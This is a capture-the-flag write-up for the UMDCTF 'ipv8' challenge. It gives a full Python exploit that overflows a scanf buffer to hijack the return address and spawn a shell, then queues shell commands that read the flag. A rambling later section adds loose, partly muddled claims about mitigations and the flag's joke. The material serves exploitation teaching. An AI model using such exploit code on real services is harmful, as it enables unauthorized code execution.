Skip to main content

UMDCTF - ipv8 Write-Up

author: elngbr

Challenge overview

Alright, so this was the ipv8 challenge from UMDCTF. The service was running on nc challs.umdctf.io 30308, and we got this Linux ELF binary called ipv4 – static linked, which always makes things a bit trickier for reversing. The flag turned out to be UMDCTF{why_was_ipv9_afraid_of_ipv7?ipv789}, but getting there was a fun ride through some classic buffer overflow territory.

First impressions and setup

Fired up the binary locally first, but of course, macOS threw an exec format error – no surprise there, it's a Linux binary. Had to spin up a container to run it properly. The binary prompts for four inputs in sequence: source ASN prefix, source host address, destination ASN prefix, and destination host address. Looked straightforward at first, but you know how these things go – the devil's in the details.

Diving into the binary

Time to crack open Ghidra or IDA and see what we're dealing with. The ASNs? They're just discarded with %*s – total red herrings. The real action is in the host addresses. Source host gets read with an unbounded %s, which is screaming "buffer overflow here!" Destination host is capped at %48s, so that's the safer one.

The validation logic is hilariously simple: it just counts dots. Exactly three dots? Valid. Anything else? Invalid. But then there's this internal check against hardcoded strings. If it's 0.0.0.0, boom – immediate fail and exit(1). Hit 100.72.7.67? That's the win condition. Otherwise, it spits out "Wrong RINE..." and returns normally.

Roadblocks and head-scratchers

Early on, I thought this was a straightforward ret2win from the source overflow. Pump in enough data, overwrite the return address, jump to the win function. But the remote behavior was weird – no shell popping up right away. Turns out, a lot of payloads were dying in that 0.0.0.0 fail path before even getting to the return. And debugging? Forget it – ptrace was blocked in the container environment. Had to rely on blind exploitation and careful payload crafting.

Experimentation and breakthroughs

Trial and error played a big role here, but it was informed by the disassembly. Key experiments that cracked it:

  • Sweeping the destination host length from 3 to 48 bytes: anything under 48 bytes triggered the "SORRY" path, but exactly 48 bytes consistently hit the "WRONG" path and changed the process behavior on return. That was the key to forcing the right code path.
  • For the source overflow, I brute-forced the offset to the saved RIP using partial 3-byte overwrites to loop back into main. Found the exact offset: 104 bytes to the return address.
  • Once I had the offset, retargeting to 0x402ff0 (the block that prints the welcome message and calls win) confirmed everything was working.

The exploit breakdown

This is a two-stage ROP-like setup, but without gadgets – just careful stack smashing.

  1. Stage 1: Force the return path

    • Craft the destination host to be exactly 48 bytes with exactly 3 dots. This bypasses the immediate exit branch and ensures we reach the function epilogue.
  2. Stage 2: Hijack control flow

    • The source host buffer overflow lets us smash the stack. At offset 104, we overwrite the saved RIP with a partial 3-byte value: \xf0\x2f\x40 (little-endian for 0x402ff0).
    • That address points to code that prints a welcome message and then calls the win function, which executes system("/bin/sh").

After that, it's just piping shell commands over the same TCP connection and parsing the output.

Working exploit

Here's the Python script that does the job:

import socket

HOST, PORT = "challs.umdctf.io", 30308

# Target address: 0x402ff0 - prints welcome and calls win (system("/bin/sh"))
TARGET = b"\xf0\x2f\x40"

# Source host: overflow to RIP at offset 104, partial overwrite
src = b"A.A.A.A" + b"B" * (104 - 7) + TARGET

# Destination host: exactly 48 bytes, 3 dots to hit WRONG branch
dst = b"A" * 20 + b"." + b"A" * 10 + b"." + b"A" * 10 + b"." + b"A" * 5

payload = b"1.1.1.1\n" # source ASN (ignored)
payload += src + b"\n" # source host (exploit)
payload += b"2.2.2.2\n" # destination ASN (ignored)
payload += dst + b"\n" # destination host (path control)

# Post-exploit shell commands
payload += b"echo __PWNED__\n"
payload += b"pwd\n"
payload += b"ls -la\n"
payload += b"cat flag.txt 2>/dev/null\n"
payload += b"exit\n"

s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall(payload)

s.settimeout(1.0)
chunks = []
while True:
try:
data = s.recv(8192)
except socket.timeout:
break
if not data:
break
chunks.append(data)

out = b"".join(chunks).decode("latin-1", "replace")
print(out)

s.close()


## Output proof
Observed output included:
- `Welcome in our beloved ipv8 address`
- `__PWNED__`
- `/app`
- `UMDCTF{why_was_ipv9_afraid_of_ipv7?ipv789}`

## Mini glossary
- **RIP overwrite**: changing return instruction pointer on stack.
- **Partial overwrite**: changing only low bytes of RIP, often enough in non-PIE binaries.
- **ret2win**: redirecting control flow to a pre-existing `win` function.
- **Stack overflow**: writing beyond intended buffer bounds into control data.
- **Branch gating**: needing a specific code path (here, `WRONG`) before exploitable return occurs.

## Final takeaway
Alright, let's wrap this up with a deep dive into what this challenge was all about, why it exists, and every little detail that makes it tick. I'm gonna break it down like I'm explaining it to a room full of eager students who just started learning about binary exploitation – no assumptions, everything from the ground up. We'll cover the history, the tech, the jokes, and why this stuff matters in the real world. Buckle up, because we're going full nerd mode here.

### Why this challenge exists: The birth of "ipv8 (Backwards Compatible)"
CTF challenges like this one aren't just random puzzles; they're designed to teach real cybersecurity concepts in a gamified way. UMDCTF, hosted by the University of Maryland, is all about educating students and enthusiasts on offensive security techniques. This particular challenge, "ipv8 (Backwards Compatible)", is a throwback to classic buffer overflow exploits – the kind that plagued software for decades before modern mitigations like ASLR, DEP, and stack canaries came along.

The "ipv8" name is a pun on IP (Internet Protocol) versions. IPv4 is the old, ubiquitous standard for addressing devices on networks, but it's running out of addresses. IPv6 was supposed to replace it, but adoption has been slow. "IPv8" doesn't exist – it's fictional, like a backwards-compatible evolution. The binary is even named "ipv4", reinforcing the theme of legacy code that's vulnerable.

The challenge was "born" to illustrate why input validation and bounds checking are critical. In the early days of computing, programmers often used functions like scanf with %s without limits, leading to overflows. This challenge simulates that era, teaching how attackers can hijack program flow. It's "backwards compatible" because the exploit techniques are timeless – stack-based overflows have been around since the 1980s (Morris Worm, anyone?).

For students: Think of it as a history lesson. Before 2000, buffer overflows were the #1 exploit vector. Heartbleed, Code Red, Slammer – all started with unchecked buffers. This challenge shows why we now use safe functions like fgets or strlcpy, and why compilers add stack guards.

### Deep dive into the binary and exploit mechanics
Let's get technical. The binary is a statically linked Linux ELF – no dynamic libraries, so all code is self-contained. This makes reversing easier (no external deps) but also means no ASLR in this case (though modern static binaries might have it).

The program flow:
1. Prompts for four strings: source ASN, source host, dest ASN, dest host.
2. ASNs are ignored (%*s discards them).
3. Source host: scanf("%s", buffer) – no size limit! This is the overflow vector.
4. Dest host: scanf("%48s", buffer) – capped, but we use it to control branching.
5. Validation: Counts dots. Must have exactly 3 for "valid" IP-like format.
6. Then, strcmp against hardcoded strings:
- "0.0.0.0" -> exit(1) immediately (no return, process dies).
- "100.72.7.67" -> win (system("/bin/sh")).
- Else -> "Wrong RINE..." and return normally.

The key insight: Most payloads hit "0.0.0.0" and crash before returning, masking the overflow. We need dest host = exactly 48 bytes + 3 dots to hit the "else" branch, allowing the return to happen.

Stack layout (x86-64, assuming standard calling convention):
- Function prologue pushes rbp, sets up frame.
- Local buffers for inputs.
- scanf overwrites beyond source buffer into saved RIP at offset 104.
- Return pops RIP, jumps to our overwritten address.

Partial overwrite: Only 3 bytes (\xf0\x2f\x40) because higher bytes are often zero in non-PIE binaries. Little-endian means LSB first.

Why 0x402ff0? That's the address of a code block that prints "Welcome..." and calls win. Win does system("/bin/sh"), spawning a shell.

For students: Buffer overflows happen because C doesn't check array bounds. The stack grows downward; overflowing upward corrupts return addresses. RIP (Instruction Pointer) controls what executes next. Overwriting it = arbitrary code execution. Partial overwrites exploit predictability in address space.

### The flag and the network joke
The flag: UMDCTF{why_was_ipv9_afraid_of_ipv7?ipv789}

This is a pun on IP versions. IPv4, IPv6, IPv7 (experimental), IPv8 (non-existent). The joke: "Why was IPv9 afraid of IPv7?" Answer: Because 7 8 9 (789) – like "seven ate nine" or something? Wait, it's "ipv789" – probably "IPv7 8 9" as in IPv7 ate IPv9? But the flag is "why_was_ipv9_afraid_of_ipv7?ipv789" – perhaps "IPv7 ate IPv9" since 7 8 9.

Actually, looking closely: "why_was_ipv9_afraid_of_ipv7?ipv789" – maybe "IPv7 8 9" meaning IPv7 comes before IPv9, but afraid? Perhaps it's "seven ate nine" homophone for "IPv7 ate IPv9".

The joke is a play on "seven ate nine" sounding like "IPv7 ate IPv9", and IPv9 is afraid because it got eaten by IPv7? But that doesn't make total sense. Perhaps it's just silly IP version humor, emphasizing the backwards compatibility theme – old versions "eating" new ones or something.

For students: Network jokes often reference protocol quirks. IPv4 uses 32-bit addresses (4 billion max), IPv6 128-bit (huge). The "backwards compatible" means IPv4 addresses can be embedded in IPv6 (::ffff:192.168.1.1). The challenge mocks how old vulnerabilities persist.

### Why IPv4 and IPv8 specifically
IPv4: The binary name "ipv4" nods to the protocol, but the challenge is about IP address parsing gone wrong. "IPv8" is made up, symbolizing future or broken versions.

In networking: IPv4 packets have headers with source/dest IPs. This challenge simulates parsing malformed IPs to trigger bugs. The "RINE" in "Wrong RINE..." might be a typo or acronym – perhaps "Wrong IP Address" or something, but it's "RINE", maybe "Wrong Route" or just random.

For students: Learn about IP addressing. IPv4: dotted decimal (192.168.1.1). Validation should check each octet 0-255, not just dot count. This challenge shows lazy validation leading to exploits.

### Real-World Implications and Lessons
This teaches why secure coding matters. In C, use bounded reads: scanf("%47s", buffer) or better, fgets. Enable compiler flags: -fstack-protector, -D_FORTIFY_SOURCE. For networks, validate inputs server-side.

Exploits like this led to mitigations: W^X (no execute on stack), ASLR (randomize addresses), CFI (control flow integrity).

For students: Study Aleph One's "Smashing the Stack for Fun and Profit" – the bible of overflows. Practice with pwntools, GDB. Understand ROP chains for full control.

In summary, this challenge is a microcosm of cybersecurity history: from unchecked buffers to modern defenses. The joke ties into networking evolution, reminding us old bugs don't die – they just get embedded. If you're new, grab a debugger, patch the binary, and see how fixes change everything. That's the takeaway: knowledge is power, and in CTFs, it's fun too.

## What Failed (And Why)
- Direct source overflow + normal destination (`3.3.3.3`): process exited in fail branch before useful return path.
- Blind destination string placements of `100.72.7.67`: no direct success because overwrite semantics were not a simple inline substitution.
- Assuming immediate visible shell without queued commands: can look like exploit failed even when control flow changed.

## Final Takeaway
This was not pure random trial-and-error. It was:
- static reverse engineering,
- controlled runtime experiments,
- and targeted brute-force only for unknown offsets/length gates.

The critical insight: **destination length 48 unlocks the right branch, then source overflow at offset 104 hijacks RIP to the `win` path.**